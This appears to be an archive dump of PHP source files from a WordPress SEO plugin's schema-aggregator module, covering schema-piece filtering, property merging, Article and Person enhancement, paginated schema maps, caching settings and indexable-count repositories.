\WPSEO_WOO_VERSION; } return $this->maybe_add_pagination_metadata( $metadata, $post_type, $page, $page_size ); } /** * Add pagination metadata to the response if applicable. * * @param array> $metadata The metadata array to add pagination info to. * @param string $post_type The post type being queried. * @param int $page The current page number (1-based). * @param int $page_size The number of items per page. * * @return array> The updated metadata array. */ private function maybe_add_pagination_metadata( array $metadata, string $post_type, int $page, int $page_size ): array { $indexable_count = $this->schema_map_repository->get_indexable_count_for_post_type( $post_type ); $total_items = $indexable_count->get_count(); if ( $total_items === 0 ) { return $metadata; } $total_pages = (int) \ceil( $total_items / $page_size ); if ( $page < $total_pages ) { $next_page_url = $this->schema_map_builder->get_rest_route( $post_type, ( $page + 1 ) ); $metadata['next'] = $next_page_url; } return $metadata; } } schema-aggregator/application/aggregate-site-schema-command.php000064400000001653152076255250020720 0ustar00page_controls = new Page_Controls( $page, $per_page, $post_type ); } /** * Gets the page controls. * * @return Page_Controls */ public function get_page_controls(): Page_Controls { return $this->page_controls; } } schema-aggregator/application/aggregate-site-schema-map-command-handler.php000064400000005256152076255250023111 0ustar00schema_map_repository_factory = $schema_map_repository_factory; $this->schema_map_builder = $schema_map_builder; $this->schema_map_xml_renderer = $schema_map_xml_renderer; $this->indexable_helper = $indexable_helper; } /** * Handles the Aggregate_Site_Schema_Map_Command. * * @param Aggregate_Site_Schema_Map_Command $command The command. * * @return string The schema map xml. */ public function handle( Aggregate_Site_Schema_Map_Command $command ): string { $schema_map_repository = $this->schema_map_repository_factory->get_repository( $this->indexable_helper->should_index_indexables() ); $indexable_counts = $schema_map_repository->get_indexable_count_per_post_type( $command->get_post_types() ); $schema_map = $this->schema_map_builder ->with_repository( $schema_map_repository ) ->build( $indexable_counts ); return $this->schema_map_xml_renderer->render( $schema_map ); } } schema-aggregator/application/filtering/filtering-strategy-interface.php000064400000001131152076255250022711 0ustar00get_data(); if ( \array_key_exists( 'breadcrumb', $data ) ) { unset( $data['breadcrumb'] ); } return new Schema_Piece( $data, $filtered_piece->get_type() ); } } application/filtering/schema-node-property-filter/base-schema-node-property-filter.php000064400000002671152076255250030653 0ustar00schema-aggregator */ private const PROPERTIES_AVOID_LIST = [ 'potentialAction', 'primaryImageOfPage' ]; /** * Filters any schema piece properties. * * @param Schema_Piece $schema_piece The schema piece to be filtered. * * @return Schema_Piece The filtered schema piece. */ public function filter_properties( Schema_Piece $schema_piece ): Schema_Piece { $data = $schema_piece->get_data(); foreach ( $this->get_properties_avoid_list() as $property ) { if ( \array_key_exists( $property, $data ) ) { unset( $data[ $property ] ); } } return new Schema_Piece( $data, $schema_piece->get_type() ); } /** * Gets the properties avoid list. * * @codeCoverageIgnore * * @return array The properties avoid list. */ private function get_properties_avoid_list(): array { return self::PROPERTIES_AVOID_LIST; } } application/filtering/schema-node-property-filter/schema-node-property-filter-interface.php000064400000001254152076255250031675 0ustar00schema-aggregator */ private const FILTER_CATEGORIES = [ 'action', 'enumeration', 'meta', 'website-meta', ]; /** * The elements context map repository. * * @var Elements_Context_Map_Repository_Interface */ private $elements_context_map_repository; /** * Class constructor. * * @param Elements_Context_Map_Repository_Interface $elements_context_map_repository The elements-context map * repository. */ public function __construct( Elements_Context_Map_Repository_Interface $elements_context_map_repository ) { $this->elements_context_map_repository = $elements_context_map_repository; } /** * Applies filtering to the given schema. * * @param Schema_Piece_Collection $schema The schema to be filtered. * * @return Schema_Piece_Collection The filtered schema. */ public function filter( Schema_Piece_Collection $schema ): Schema_Piece_Collection { $filtered_schema = []; $elements_context_map = $this->elements_context_map_repository->get_map(); foreach ( $schema->to_array() as $schema_piece ) { $piece_types = (array) $schema_piece->get_type(); if ( ! $this->should_keep_piece( $piece_types, $elements_context_map, $schema, $schema_piece ) ) { continue; } $filtered_schema[] = $this->apply_property_filters( $schema_piece, $piece_types ); } return new Schema_Piece_Collection( $filtered_schema ); } /** * Determines if a schema piece should be kept based on all its types. * * A piece is kept if at least one of its types should be kept. * * @param array $types The types to check. * @param array> $elements_context_map The elements context map. * @param Schema_Piece_Collection $schema The full schema collection. * @param Schema_Piece $schema_piece The schema piece being checked. * * @return bool Whether to keep the schema piece. */ private function should_keep_piece( array $types, array $elements_context_map, Schema_Piece_Collection $schema, Schema_Piece $schema_piece ): bool { foreach ( $types as $type ) { if ( $this->should_keep_type( $type, $elements_context_map, $schema, $schema_piece ) ) { return true; } } return false; } /** * Determines if a schema piece should be kept based on a single type. * * @param string $type The type to check. * @param array> $elements_context_map The elements context map. * @param Schema_Piece_Collection $schema The full schema collection. * @param Schema_Piece $schema_piece The schema piece being checked. * * @return bool Whether to keep the schema piece. */ private function should_keep_type( string $type, array $elements_context_map, Schema_Piece_Collection $schema, Schema_Piece $schema_piece ): bool { foreach ( self::FILTER_CATEGORIES as $category ) { if ( ! \in_array( $type, $elements_context_map[ $category ], true ) ) { continue; } $filter = $this->get_node_filter( $type ); return ( $filter !== null && $filter->should_filter( $schema, $schema_piece ) ); } return true; } /** * Gets a node filter instance for the given type. * * @param string $type The schema type. * * @return Schema_Node_Filter_Decider_Interface|null The filter instance or null if not found. */ private function get_node_filter( string $type ): ?Schema_Node_Filter_Decider_Interface { $filter_class = self::NODE_FILTER_NAMESPACE . $type . self::NODE_FILTER_SUFFIX; if ( \class_exists( $filter_class ) && \is_a( $filter_class, Schema_Node_Filter_Decider_Interface::class, true ) ) { return new $filter_class(); } return null; } /** * Applies property filters for all types of a schema piece. * * @param Schema_Piece $schema_piece The schema piece to filter. * @param array $types The types of the schema piece. * * @return Schema_Piece The filtered schema piece. */ private function apply_property_filters( Schema_Piece $schema_piece, array $types ): Schema_Piece { $filtered_piece = $schema_piece; $filter_was_found = false; foreach ( $types as $type ) { $filter = $this->get_property_filter( $type ); if ( $filter !== null ) { $filtered_piece = $filter->filter_properties( $filtered_piece ); $filter_was_found = true; } } if ( ! $filter_was_found ) { return ( new Base_Schema_Node_Property_Filter() )->filter_properties( $schema_piece ); } return $filtered_piece; } /** * Gets a property filter instance for the given type. * * @param string $type The schema type. * * @return Schema_Node_Property_Filter_Interface|null The filter instance or null if not found. */ private function get_property_filter( string $type ): ?Schema_Node_Property_Filter_Interface { $filter_class = self::PROPERTY_FILTER_NAMESPACE . $type . self::PROPERTY_FILTER_SUFFIX; if ( \class_exists( $filter_class ) && \is_a( $filter_class, Schema_Node_Property_Filter_Interface::class, true ) ) { return new $filter_class(); } return null; } } schema-aggregator/application/filtering/schema-node-filter/webpage-schema-node-filter.php000064400000004073152076255270025666 0ustar00 */ private $articles_ids; /** * Filters a WebPage schema piece if it contains an Article. * * @param Schema_Piece_Collection $schema The full schema. * @param Schema_Piece $schema_piece The schema piece to be filtered. * * @return bool True if the schema piece should be kept, false otherwise. */ public function should_filter( Schema_Piece_Collection $schema, Schema_Piece $schema_piece ): bool { $data = $schema_piece->get_data(); $articles_ids = $this->get_articles_ids( $schema ); foreach ( $articles_ids as $article_id ) { if ( \str_contains( $article_id, $data['@id'] ) ) { return false; } } return true; } /** * Retrieves the IDs of all Article schema pieces in the schema. * * @param Schema_Piece_Collection $schema The full schema. * * @codeCoverageIgnore * * @return array The IDs of the Article schema pieces. */ private function get_articles_ids( Schema_Piece_Collection $schema ): array { if ( ! \is_array( $this->articles_ids ) ) { $this->articles_ids = []; foreach ( $schema->to_array() as $schema_piece ) { if ( $schema_piece->get_type() === 'Article' ) { $schema_piece_data = $schema_piece->get_data(); $this->articles_ids[] = $schema_piece_data['@id']; } } } return $this->articles_ids; } } schema-aggregator/application/filtering/schema-node-filter/website-schema-node-filter.php000064400000003323152076255270025713 0ustar00current_site_url_provider = new WordPress_Current_Site_URL_Provider(); } /** * Filters a WebSite schema piece if it matches the site's URL. * * @param Schema_Piece_Collection $schema The full schema. * @param Schema_Piece $schema_piece The schema piece to be filtered. * * @return bool True if the schema piece should be kept, false otherwise. */ public function should_filter( Schema_Piece_Collection $schema, Schema_Piece $schema_piece ): bool { $blog_url = $this->current_site_url_provider->get_current_site_url(); $data = $schema_piece->get_data(); if ( $data['url'] === $blog_url ) { return false; } return true; } } schema-aggregator/application/filtering/schema-node-filter/schema-node-filter-decider-interface.php000064400000001550152076255270027606 0ustar00current_page_helper = $current_page_helper; } /** * Returns the ID. * * @return string The ID. */ public function get_id() { return self::ID; } /** * Returns the requested pagination priority. Lower means earlier. * * @return int The priority. */ public function get_priority() { return 20; } /** * Returns whether this introduction should show. * * @return bool Whether this introduction should show. */ public function should_show() { return $this->current_page_helper->is_yoast_seo_page(); } } schema-aggregator/application/schema-pieces-aggregator.php000064400000004364152076255270020010 0ustar00filtering_strategy_factory = $filtering_strategy_factory; $this->properties_merger = $properties_merger; } /** * Main orchestrator method: deduplicates, merges and filter properties. * * @param Schema_Piece_Collection $schema_pieces The schema pieces to aggregate. * * @return Schema_Piece_Collection The aggregated schema pieces. */ public function aggregate( Schema_Piece_Collection $schema_pieces ): Schema_Piece_Collection { $aggregated_schema = []; $filtering_strategy = $this->filtering_strategy_factory->create(); $filtered_schema_pieces = $filtering_strategy->filter( $schema_pieces ); foreach ( $filtered_schema_pieces->to_array() as $piece ) { $id = $piece->get_id(); if ( \is_null( $id ) ) { continue; } if ( isset( $aggregated_schema[ $id ] ) ) { $aggregated_schema[ $id ] = $this->properties_merger->merge( $aggregated_schema[ $id ], $piece ); } else { // Add new piece. $aggregated_schema[ $id ] = $piece; } } // Return only the values to get rid of the keys (which are @id) and wrap in a collection. return new Schema_Piece_Collection( \array_values( $aggregated_schema ) ); } } schema-aggregator/application/properties-merger.php000064400000012171152076255300016622 0ustar00merge_properties( $piece1->get_data(), $piece2->get_data() ); // TODO: Shall we check if $type !== null? return new Schema_Piece( $merged_properties, $merged_properties['@type'] ); } /** * Merge properties from two schema entities with the same @id * * Strategy: * - @type: Special handling - merge types into unified array * - @id: Skip (always the same) * - Arrays: Combine unique values * - Scalars: Prefer non-empty over empty * - Objects: Deep merge recursively * - Null vs value: Prefer non-null * * @param array $entity1 First entity. * @param array $entity2 Second entity. * * @return array Merged entity. */ private function merge_properties( array $entity1, array $entity2 ): array { $merged = $entity1; foreach ( $entity2 as $key => $value ) { if ( $key === '@id' ) { continue; } // Special handling for @type - merge types (JSON-LD allows multiple types). if ( $key === '@type' ) { $merged['@type'] = $this->merge_types( ( $merged['@type'] ?? null ), $value, ); continue; } if ( ! isset( $merged[ $key ] ) || $merged[ $key ] === '' ) { $merged[ $key ] = $value; } elseif ( \is_array( $merged[ $key ] ) && \is_array( $value ) ) { // Both are arrays - check if associative (object) or indexed (list). if ( $this->is_associative_array( $merged[ $key ] ) || $this->is_associative_array( $value ) ) { // Deep merge objects. $merged[ $key ] = $this->merge_properties( $merged[ $key ], $value ); } else { // Combine arrays and get unique values. $merged[ $key ] = \array_values( \array_unique( \array_merge( $merged[ $key ], $value ), \SORT_REGULAR ) ); } } // Else: entity1's value is non-empty scalar, keep it (prefer first occurrence). } return $merged; } /** * Merge @type values from two entities * * JSON-LD allows @type to be either a string or an array of strings. * This method combines types from both entities, deduplicates them, * and normalizes the result (string if 1 type, array if multiple). * * Examples: * - merge_types("Person", "Person") → "Person" * - merge_types("Person", "Author") → ["Person", "Author"] * - merge_types("Person", ["Author", "Employee"]) → ["Person", "Author", "Employee"] * - merge_types(["Person"], "Person") → "Person" * - merge_types(["Person", "Author"], ["Author", "Employee"]) → ["Person", "Author", "Employee"] * * @param string|array|null $type1 First @type value. * @param string|array|null $type2 Second @type value. * @return string|array Merged and normalized @type value. */ private function merge_types( $type1, $type2 ) { $types1 = $this->normalize_type_to_array( $type1 ); $types2 = $this->normalize_type_to_array( $type2 ); $merged = \array_unique( \array_merge( $types1, $types2 ), \SORT_REGULAR ); return $this->normalize_type_from_array( $merged ); } /** * Normalize @type value to array format * * @param string|array|null $type Type value to normalize. * @return array Array of type strings. */ private function normalize_type_to_array( $type ): array { if ( $type === null ) { return []; } if ( \is_string( $type ) ) { return [ $type ]; } if ( \is_array( $type ) ) { return \array_values( \array_filter( $type, 'is_string' ) ); } return []; } /** * Normalize array of types back to string or array. * * Returns string if single type, array if multiple types. * This keeps the output compact while supporting multi-type entities. * * @param array $types Array of type strings. * @return string|array Normalized type value. */ private function normalize_type_from_array( array $types ) { // Remove duplicates and re-index. $types = \array_values( \array_unique( $types ) ); if ( empty( $types ) ) { // Fallback - should not happen in normal flow. return 'Thing'; // schema.org root type. } if ( \count( $types ) === 1 ) { return $types[0]; } return $types; } /** * Check if array is associative (object-like) vs indexed (list-like) * * @param array> $argument Array to check. * @return bool True if associative. */ private function is_associative_array( array $argument ): bool { if ( empty( $argument ) ) { return false; } return \array_keys( $argument ) !== \range( 0, ( \count( $argument ) - 1 ) ); } } schema-aggregator/application/schema-aggregator-response-composer.php000064400000001571152076255300022212 0ustar00 The composed schema response. */ public function compose( Schema_Piece_Collection $schema_pieces ): array { $composed_pieces = []; foreach ( $schema_pieces->to_array() as $piece ) { $composed_pieces[] = \array_merge( [ '@context' => 'https://schema.org', ], $piece->get_data(), ); } return $composed_pieces; } } schema-aggregator/application/enhancement/article-schema-enhancer.php000064400000014525152076255300022103 0ustar00config = $config; } /** * Enhances specific Article schema pieces. * * @param Schema_Piece $schema_piece The schema piece to enhance. * @param Indexable $indexable The indexable object that is the source of the schema piece. * * @return Schema_Piece The enhanced schema piece. */ public function enhance( Schema_Piece $schema_piece, Indexable $indexable ): Schema_Piece { $schema_data = $schema_piece->get_data(); if ( ! isset( $schema_data['@type'] ) ) { return $schema_piece; } if ( \in_array( $schema_data['@type'], [ 'Article', 'NewsArticle', 'BlogPosting', ], true, ) ) { $schema_data = $this->enhance_schema_piece( $schema_data, $indexable ); } if ( \is_array( $schema_data['@type'] ) && \in_array( 'Article', $schema_data['@type'], true ) ) { $schema_data = $this->enhance_schema_piece( $schema_data, $indexable ); } return new Schema_Piece( $schema_data, $schema_piece->get_type() ); } /** * Enhance a single schema piece * * @param array $schema_data The schema data to enhance. * @param Indexable $indexable The indexable object that is the source of the schema piece. * * @return array The enhanced schema data. */ protected function enhance_schema_piece( array $schema_data, Indexable $indexable ): array { try { $has_excerpt = false; if ( $this->config->is_enhancement_enabled( 'use_excerpt' ) ) { $excerpt = $this->get_excerpt( $indexable->object_id ); $has_excerpt = ! empty( $excerpt ); if ( $has_excerpt && ! isset( $schema_data['description'] ) ) { $schema_data['description'] = $excerpt; } } if ( $this->config->is_enhancement_enabled( 'article_body' ) && ! isset( $schema_data['articleBody'] ) ) { if ( $this->config->should_include_article_body( $has_excerpt ) ) { $article_body = $this->get_article_body( $indexable->object_id ); if ( ! empty( $article_body ) ) { $schema_data['articleBody'] = $article_body; } } } if ( $this->config->is_enhancement_enabled( 'keywords' ) ) { $keywords = $this->get_article_keywords( $indexable->object_id ); if ( ! empty( $keywords ) ) { $existing = (array) ( $schema_data['keywords'] ?? [] ); $schema_data['keywords'] = \implode( ', ', \array_unique( \array_merge( $existing, $keywords ) ) ); } } return $schema_data; } catch ( Exception $e ) { return $schema_data; } } /** * Get article keywords * * Extracts post tags and optionally categories as keywords. * * @param int $post_id Post ID. * * @return array Array of keyword strings. */ private function get_article_keywords( int $post_id ): array { try { $keywords = []; if ( $this->config->get_config_value( 'categories_as_keywords', false ) ) { $categories = \get_the_category( $post_id ); if ( \is_array( $categories ) && ! empty( $categories ) ) { foreach ( $categories as $category ) { if ( isset( $category->name ) && $category->name !== 'Uncategorized' ) { $keywords[] = $category->name; } } } } return \array_unique( $keywords ); } catch ( Exception $e ) { return []; } } /** * Get article excerpt for description field * * Retrieves post excerpt with robust validation (no empty/whitespace-only). * Falls back to auto-generated excerpt from content unless prefer_manual is enabled. * * @param int $post_id Post ID. * * @return string|null Excerpt or null if unavailable/invalid. */ private function get_excerpt( int $post_id ): ?string { try { $excerpt = \get_post_field( 'post_excerpt', $post_id ); if ( \is_wp_error( $excerpt ) ) { $excerpt = ''; } if ( empty( $excerpt ) || \trim( $excerpt ) === '' ) { if ( $this->config->get_config_value( 'excerpt_prefer_manual', false ) ) { return null; } $content = \get_post_field( 'post_content', $post_id ); if ( \is_wp_error( $content ) || empty( $content ) ) { return null; } $excerpt = \wp_trim_excerpt( $content, $post_id ); if ( empty( $excerpt ) || \trim( $excerpt ) === '' ) { return null; } } $excerpt = \wp_strip_all_tags( $excerpt ); // Apply max length if configured. $max_length = $this->config->get_config_value( 'excerpt_max_length', 0 ); $excerpt = $this->trim_content_to_max_length( $max_length, $excerpt ); $excerpt = \trim( $excerpt ); return ( $excerpt !== '' ) ? $excerpt : null; } catch ( Exception $e ) { return null; } } /** * Get article body (full post content) * * Extracts full post content with optional HTML and shortcode stripping. * Respects max_length configuration if set. * * @param int $post_id Post ID. * * @return string|null Article body or null if unavailable. */ private function get_article_body( int $post_id ): ?string { try { $content = \get_post_field( 'post_content', $post_id ); if ( \is_wp_error( $content ) || empty( $content ) ) { return null; } if ( $this->config->get_config_value( 'strip_shortcodes_from_body', true ) ) { $content = \strip_shortcodes( $content ); } if ( $this->config->get_config_value( 'strip_html_from_body', true ) ) { $content = \wp_strip_all_tags( $content ); } $max_length = $this->config->get_config_value( 'article_body_max_length', Article_Config::DEFAULT_MAX_ARTICLE_BODY_LENGTH ); return $this->trim_content_to_max_length( $max_length, $content ); } catch ( Exception $e ) { return null; } } } schema-aggregator/application/enhancement/abstract-schema-enhancer.php000064400000001650152076255300022256 0ustar00 0 && \strlen( $content ) > $max_length ) { $content = \substr( $content, 0, $max_length ); $last_space = \strrpos( $content, ' ' ); if ( $last_space !== false && $last_space > ( $max_length * 0.9 ) ) { $content = \substr( $content, 0, $last_space ); } $content .= '...'; } return $content; } } schema-aggregator/application/enhancement/person-schema-enhancer.php000064400000005330152076255300021760 0ustar00config = $config; } /** * Enhances specific Article schema pieces. * * @param Schema_Piece $schema_piece The schema piece to enhance. * @param Indexable $indexable The indexable object that is the source of the schema piece. * * @return Schema_Piece The enhanced schema piece. */ public function enhance( Schema_Piece $schema_piece, Indexable $indexable ): Schema_Piece { $schema_data = $schema_piece->get_data(); if ( isset( $schema_data['@type'] ) && $schema_data['@type'] === 'Person' ) { $schema_data = $this->enhance_schema_piece( $schema_data, $indexable ); } return new Schema_Piece( $schema_data, $schema_piece->get_type() ); } /** * Enhance a single schema piece * * @param array $schema_data The schema data to enhance. * @param Indexable $indexable The indexable object that is the source of the schema piece. * * @return array The enhanced schema data. */ protected function enhance_schema_piece( array $schema_data, Indexable $indexable ): array { try { // Add jobTitle if enabled and not already present. if ( $this->config->is_enhancement_enabled( 'person_job_title' ) && ! isset( $schema_data['jobTitle'] ) ) { $job_title = $this->get_person_job_title( $indexable->author_id ); if ( $job_title !== null && $job_title !== '' ) { $schema_data['jobTitle'] = $job_title; } } return $schema_data; } catch ( Exception $e ) { return $schema_data; } } /** * Get person job title * * Retrieves job title from user meta. * * @codeCoverageIgnore * * @param int $user_id User ID. * * @return string|null Job title or null if unavailable. */ private function get_person_job_title( int $user_id ): ?string { $job_title = \get_user_meta( $user_id, 'job_title', true ); if ( empty( $job_title ) ) { return null; } return \trim( $job_title ); } } schema-aggregator/application/enhancement/schema-enhancement-factory.php000064400000003245152076255300022626 0ustar00article_schema_enhancer = $article_schema_enhancer; $this->person_schema_enhancer = $person_schema_enhancer; } /** * Returns the appropriate schema enhancer based on the schema type. * * @param array $schema_types The types of schema (e.g., 'Article', 'Person'). * * @return Schema_Enhancement_Interface|null The corresponding schema enhancer or null if none exists. */ public function get_enhancer( array $schema_types ): ?Schema_Enhancement_Interface { foreach ( $schema_types as $schema_type_value ) { switch ( $schema_type_value ) { case 'Article': return $this->article_schema_enhancer; case 'Person': return $this->person_schema_enhancer; default: return null; // No enhancer available for the given schema type. } } } } schema-aggregator/infrastructure/meta-tags-context-memoizer-adapter.php000064400000001220152076255300022524 0ustar00 The meta tags context as an array. */ public function meta_tags_context_to_array( Meta_Tags_Context $context ): array { return $context->presentation->schema; } } schema-aggregator/infrastructure/wordpress-current-site-url-provider.php000064400000001235152076255310023026 0ustar00get_big_per_post_type() : $this->get_default_per_post_type(); if ( $per_page > self::MAX_PER_PAGE ) { $per_page = self::MAX_PER_PAGE; } return $per_page; } /** * Get maximum items per page * * @return int */ public function get_max_per_page(): int { return self::MAX_PER_PAGE; } /** * Get expiration time based on data size. * * @param array $data Data to cache. * * @return int Expiration in seconds. */ public function get_expiration( array $data ): int { $cache_ttl = self::DEFAULT_CACHE_TTL; try { $serialized = \serialize( $data ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.serialize_serialize -- Needed for size calculation. $size = \strlen( $serialized ); // Large payloads: cache longer. if ( $size > 1_048_576 ) { $cache_ttl = ( 6 * \HOUR_IN_SECONDS ); } // Small payloads: cache shorter. if ( $size < 102_400 ) { $cache_ttl = ( 30 * \MINUTE_IN_SECONDS ); } $cache_ttl = \apply_filters( 'wpseo_schema_aggregator_cache_ttl', $cache_ttl ); if ( ! \is_int( $cache_ttl ) || $cache_ttl <= 0 ) { return self::DEFAULT_CACHE_TTL; } return $cache_ttl; } catch ( Exception $e ) { return self::DEFAULT_CACHE_TTL; } } /** * Check if caching is enabled. * * @return bool True if caching is enabled, false otherwise. */ public function cache_enabled(): bool { $enabled = \apply_filters( 'wpseo_schema_aggregator_cache_enabled', true ); if ( \is_bool( $enabled ) ) { return $enabled; } else { return true; } } /** * Gets the per post type for post types with lots of schema nodes. * * @return int */ public function get_big_per_post_type(): int { /** * Filter: 'wpseo_schema_aggregator_per_page_big' Determines the page count for post types with lots of schema nodes. * * @param bool $default_count The default amount of posts per page. */ $per_page = (int) \apply_filters( 'wpseo_schema_aggregator_per_page_big', self::DEFAULT_PER_PAGE_BIG_SCHEMA ); if ( $per_page > 0 ) { return $per_page; } return self::DEFAULT_PER_PAGE_BIG_SCHEMA; } /** * Gets the per page for smaller post types. * * @return int */ public function get_default_per_post_type(): int { /** * Filter: 'wpseo_schema_aggregator_per_page' Determines the page count for post types. * * @param bool $default_count The default amount of posts per page. */ $per_page = (int) \apply_filters( 'wpseo_schema_aggregator_per_page', self::DEFAULT_PER_PAGE ); if ( $per_page > 0 ) { return $per_page; } return self::DEFAULT_PER_PAGE; } } schema-aggregator/infrastructure/schema_map/schema-map-header-adapter.php000064400000003330152076255310022676 0ustar00get_data(); foreach ( $response->get_headers() as $key => $value ) { \header( \sprintf( '%s: %s', $key, $value ) ); } $headers = $response->get_headers(); $content_type = ( $headers['Content-Type'] ?? 'application/json; charset=UTF-8' ); if ( \strpos( $content_type, 'application/xml' ) !== false ) { \header( 'Content-Type: application/xml; charset=UTF-8' ); echo $data; //@phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- $data should already be escaped here since this just adds headers to the request. } else { \header( 'X-Accel-Buffering: no' ); \header( 'Content-Type: application/json; charset=UTF-8' ); foreach ( $data as $schema_piece ) { // @phpcs:disable Yoast.Yoast.JsonEncodeAlternative.FoundWithAdditionalParams -- The pretty print option breaks the JSONL format. echo \wp_json_encode( $schema_piece, ( \JSON_UNESCAPED_SLASHES | \JSON_UNESCAPED_UNICODE ) ) . \PHP_EOL; // @phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- $data should already be escaped here since this just adds headers to the request. if ( \ob_get_level() > 0 ) { \ob_flush(); } \flush(); // @phpcs:enable } } } } schema-aggregator/infrastructure/schema_map/schema-map-repository-interface.php000064400000003023152076255310024204 0ustar00 $post_types The post types to get the indexable count for. * * @return Indexable_Count_Collection The indexable count per post type. */ public function get_indexable_count_per_post_type( array $post_types ): Indexable_Count_Collection; /** * Gets the indexable count for a single post type. * * @param string $post_type The post type to get the indexable count for. * * @return Indexable_Count The indexable count for the post type. */ public function get_indexable_count_for_post_type( string $post_type ): Indexable_Count; /** * Get lastmod timestamp for a post type and page range * * Returns the latest post_modified_gmt timestamp for posts in the given range. * Used for schemamap index to enable selective updates. * * @param string $post_type Post type slug. * @param int $page Page number (1-indexed). * @param int $per_page Items per page. * @return string ISO 8601 timestamp (e.g., "2025-10-21T14:23:17Z"). */ public function get_lastmod_for_post_type( string $post_type, int $page, int $per_page ): string; } schema-aggregator/infrastructure/schema_map/schema-map-config.php000064400000002343152076255310021300 0ustar00 1.0 ) { return '0.8'; } return \number_format( $priority_float, 1, '.', '' ); } } schema-aggregator/infrastructure/schema_map/schema-map-wordpress-repository.php000064400000007104152076255310024300 0ustar00indexable_repository = $indexable_repository; } /** * Gets the indexable count per post type. * * @param array $post_types The post types to get the indexable count for. * * @return Indexable_Count_Collection The indexable count per post type. */ public function get_indexable_count_per_post_type( array $post_types ): Indexable_Count_Collection { $post_type_counts = new Indexable_Count_Collection(); foreach ( $post_types as $post_type ) { $count = (int) \wp_count_posts( $post_type )->publish; $post_type_counts->add_indexable_count( new Indexable_Count( $post_type, $count ) ); } return $post_type_counts; } /** * Gets the indexable count for a single post type. * * @param string $post_type The post type to get the indexable count for. * * @return Indexable_Count The indexable count for the post type. */ public function get_indexable_count_for_post_type( string $post_type ): Indexable_Count { $count = (int) \wp_count_posts( $post_type )->publish; if ( empty( $count ) ) { return new Indexable_Count( $post_type, 0 ); } return new Indexable_Count( $post_type, $count ); } /** * Get lastmod timestamp for a post type and page range * * Returns the latest post_modified_gmt timestamp for posts in the given range. * Used for schemamap index to enable selective updates. * * @param string $post_type Post type slug. * @param int $page Page number (1-indexed). * @param int $per_page Items per page. * @return string ISO 8601 timestamp (e.g., "2025-10-21T14:23:17Z"). */ public function get_lastmod_for_post_type( string $post_type, int $page, int $per_page ): string { global $wpdb; $fallback = \gmdate( 'Y-m-d\TH:i:s\Z' ); try { $offset = ( ( $page - 1 ) * $per_page ); // phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches. // phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way. $lastmod = $wpdb->get_var( $wpdb->prepare( "SELECT MAX(post_modified_gmt) FROM ( SELECT post_modified_gmt FROM {$wpdb->posts} WHERE post_type = %s AND post_status = 'publish' ORDER BY ID LIMIT %d OFFSET %d ) AS posts_range", $post_type, $per_page, $offset, ), ); // phpcs:enable // Convert to ISO 8601 format or use current time if no posts. if ( $lastmod && ! empty( $lastmod ) ) { return \gmdate( 'Y-m-d\TH:i:s\Z', \strtotime( $lastmod ) ); } return $fallback; } catch ( Exception $e ) { return $fallback; } } } schema-aggregator/infrastructure/schema_map/schema-map-indexable-repository.php000064400000011076152076255320024207 0ustar00indexable_repository = $indexable_repository; } /** * Gets the indexable count per post type. * * @param array $post_types The post types to get the indexable count for. * * @return Indexable_Count_Collection The indexable count per post type. */ public function get_indexable_count_per_post_type( array $post_types ): Indexable_Count_Collection { $post_type_counts = new Indexable_Count_Collection(); $indexable_raw_value = $this->indexable_repository->query() ->select_expr( 'object_sub_type,count(object_sub_type) as count' ) ->where_in( 'object_sub_type', $post_types ) ->where_in( 'object_type', [ 'post', 'page' ] ) ->where( 'post_status', 'publish' ) ->where_raw( '( is_public IS NULL OR is_public = 1 )' ) ->group_by( [ 'object_type', 'object_sub_type' ] ) ->find_array(); if ( empty( $indexable_raw_value ) ) { return $post_type_counts; } foreach ( $indexable_raw_value as $indexable ) { $post_type_counts->add_indexable_count( new Indexable_Count( $indexable['object_sub_type'], (int) $indexable['count'] ) ); } return $post_type_counts; } /** * Gets the indexable count for a single post type. * * @param string $post_type The post type to get the indexable count for. * * @return Indexable_Count The indexable count for the post type. */ public function get_indexable_count_for_post_type( string $post_type ): Indexable_Count { $indexable_raw_value = $this->indexable_repository->query() ->select_expr( 'object_sub_type,count(object_sub_type) as count' ) ->where( 'object_sub_type', $post_type ) ->where( 'post_status', 'publish' ) ->where_in( 'object_type', [ 'post', 'page' ] ) ->where_raw( '( is_public IS NULL OR is_public = 1 )' ) ->find_one(); if ( empty( $indexable_raw_value ) ) { return new Indexable_Count( $post_type, 0 ); } return new Indexable_Count( $indexable_raw_value->object_sub_type, (int) $indexable_raw_value->count ); } /** * Get lastmod timestamp for a post type and page range * * Returns the latest post_modified_gmt timestamp for posts in the given range. * Used for schemamap index to enable selective updates. * * @param string $post_type Post type slug. * @param int $page Page number (1-indexed). * @param int $per_page Items per page. * @return string ISO 8601 timestamp (e.g., "2025-10-21T14:23:17Z"). */ public function get_lastmod_for_post_type( string $post_type, int $page, int $per_page ): string { global $wpdb; $fallback = \gmdate( 'Y-m-d\TH:i:s\Z' ); try { $offset = ( ( $page - 1 ) * $per_page ); $indexable_table = Model::get_table_name( 'Indexable' ); // phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input. // phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching // phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery $lastmod = $wpdb->get_var( $wpdb->prepare( " SELECT MAX(object_last_modified) FROM ( SELECT indexable_table.object_last_modified FROM {$indexable_table} indexable_table WHERE object_sub_type = %s AND post_status = 'publish' AND ( is_public IS NULL OR is_public = 1 ) ORDER BY ID LIMIT %d OFFSET %d )AS posts_range ", $post_type, $per_page, $offset, ), ); // Convert to ISO 8601 format or use current time if no posts. if ( $lastmod && ! empty( $lastmod ) ) { return \gmdate( 'Y-m-d\TH:i:s\Z', \strtotime( $lastmod ) ); } return $fallback; } catch ( Exception $e ) { return $fallback; } } } schema-aggregator/infrastructure/schema_map/schema-map-repository-factory.php000064400000002701152076255320023716 0ustar00native_repository = $native_repository; $this->wordpress_repository = $wordpress_repository; } /** * Gets the appropriate indexable repository based on availability. * * @param bool $indexables_available Whether native indexables are available. * * @return Schema_Map_Repository_Interface The selected indexable repository. */ public function get_repository( bool $indexables_available ): Schema_Map_Repository_Interface { if ( $indexables_available ) { return $this->native_repository; } return $this->wordpress_repository; } } 